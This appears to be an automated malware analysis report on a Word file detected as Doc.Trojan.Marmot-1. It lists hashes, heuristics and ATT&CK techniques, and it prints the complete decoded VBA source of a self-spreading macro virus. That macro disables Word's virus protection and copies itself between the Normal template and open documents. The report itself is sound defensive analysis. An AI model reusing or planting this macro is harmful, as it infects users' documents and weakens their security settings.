Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eacbd036b54f6dfe…

MALICIOUS

Office (OLE)

33.5 KB Created: 2001-07-06 04:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ecc73b2b51d1dfe124fa8405cd1c0110 SHA-1: 724c10df49787ec601895eb039b57ab9541af1be SHA-256: eacbd036b54f6dfe2fbe9906fdcce07e45a5cbb324f15d7a1754107cecebe012
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The AutoOpen and FileOpen macros attempt to copy the 'Sergie_Sad' macro project between the Normal template and the active document. This behavior suggests an attempt to establish persistence or spread the macro. The ClamAV detection 'Doc.Trojan.Marmot-1' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Marmot-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marmot-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2363 bytes
SHA-256: 8891d7d23f2008f1cf97694b1632d318157dae084d929ffc2469301a0f6043aa
Detection
ClamAV: Doc.Trojan.Marmot-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sergie_Sad"
' ------------------ "ÄĹÍÜ ŃÓĐĘŔ" v1.0 -----------------
' -------------- 02.02.2000 (Ń)Sergie Sad --------------
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Ěŕęđîń ńîçäŕí 02.02.2000 Sergie Sad"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Sergie_Sad.AutoOpen"
Options.SaveNormalPrompt = False
Options.VirusProtection = False
On Error GoTo fail
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="Sergie_Sad", _
        Object:=wdOrganizerObjectProjectItems
fail:
End Sub
Sub FileOpen()
Attribute FileOpen.VB_Description = "Ěŕęđîń ńîçäŕí 02.02.2000 Sergie Sad"
Attribute FileOpen.VB_ProcData.VB_Invoke_Func = "Normal.Sergie_Sad.FileOpen"
Options.SaveNormalPrompt = False
Options.VirusProtection = False
On Error GoTo fail
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument.FullName, Name:="Sergie_Sad", _
        Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
fail:
If (Month(Now()) = 10) And (Day(Now()) = 13) Then ask = MsgBox("Íĺ çŕáóäü ďîçäđŕâčňü ěĺí˙ ń äíĺě đîćäĺíč˙. Sergie Sad (3512) 12-6818", 4096 + 64, "Ńĺăîäí˙ 13 îęň˙áđ˙")
End Sub
Sub FileSave()
Attribute FileSave.VB_Description = "Ěŕęđîń ńîçäŕí 02.02.2000 Sergie Sad"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Normal.Sergie_Sad.AutoClose"
Options.SaveNormalPrompt = False
Options.VirusProtection = False
On Error GoTo fail
ActiveDocument.Save
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument.FullName, Name:="Sergie_Sad", _
        Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
fail:
End Sub
Sub AutoClose()
Attribute AutoClose.VB_Description = "Ěŕęđîń ńîçäŕí 02.02.2000 Sergie Sad"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.Sergie_Sad.FileClose"
If ActiveDocument.BuiltInDocumentProperties(wdPropertyLastAuthor) <> "" Then Call FileSave
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.